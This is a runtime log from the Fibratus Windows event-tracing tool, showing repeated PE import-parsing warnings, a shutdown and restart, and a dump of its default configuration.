source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:59+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T14:22:59+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:23:01+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:23:01+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:23:02+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:26:04+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T14:26:04+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T14:26:04+01:00 level=info msg=bootstrapping with pid 19408. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T14:26:04+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-timeout=>4s flush-period=>200ms] + alertsenders ................... [ mail=>[ to=>[] use-template=>true enabled=>false content-type=>text/html port=>25] eventlog=>[ enabled=>true verbose=>false] systray=>[ enabled=>true sound=>true quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>15s transport=>localhost:8080] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + kstream ........................ [ enable-fileio=>true flush-interval=>1s enable-registry=>true enable-image=>true stack-enrichment=>true enable-vamap=>true enable-thread=>true min-buffers=>16 max-buffers=>36 enable-audit-api=>true blacklist=>[ events=>[] images=>[]] buffer-size=>512 enable-handle=>false enable-mem=>true enable-net=>true enable-dns=>true] + logging ........................ [ log-stdout=>true max-backups=>15 max-size=>100 formatter=>text max-age=>0 level=>info] + output ......................... [ http=>[ tls-insecure-skip-verify=>false serializer=>json endpoints=>[] enable-gzip=>false method=>POST timeout=>5s enabled=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} enabled=>true format=>pretty] amqp=>[ tls-insecure-skip-verify=>false durable=>false timeout=>5s delivery-mode=>transient routing-key=>fibratus url=>amqp://localhost:5672 exchange=>fibratus exchange-type=>topic vhost=>/ enabled=>false passive=>false] elasticsearch=>[ timeout=>5s bulk-workers=>1 trace-log=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-timeout=>5s healthcheck=>true sniff=>false flush-period=>1s gzip-compression=>false index-name=>fibratus enabled=>false healthcheck-interval=>10s]] + pe ............................. [ enabled=>false excluded-images=>[] read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false kparams=>[]]] + yara ........................... [ excluded-procs=>[] enabled=>false alert-via=>mail fastscan=>true skip-files=>true excluded-files=>[] scan-timeout=>10s alert-template=>[]] source=bootstrap/bootstrap.go:183 +time=2025-11-11T14:26:05+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T14:26:07+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:26:07+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:26:07+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:26:07+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 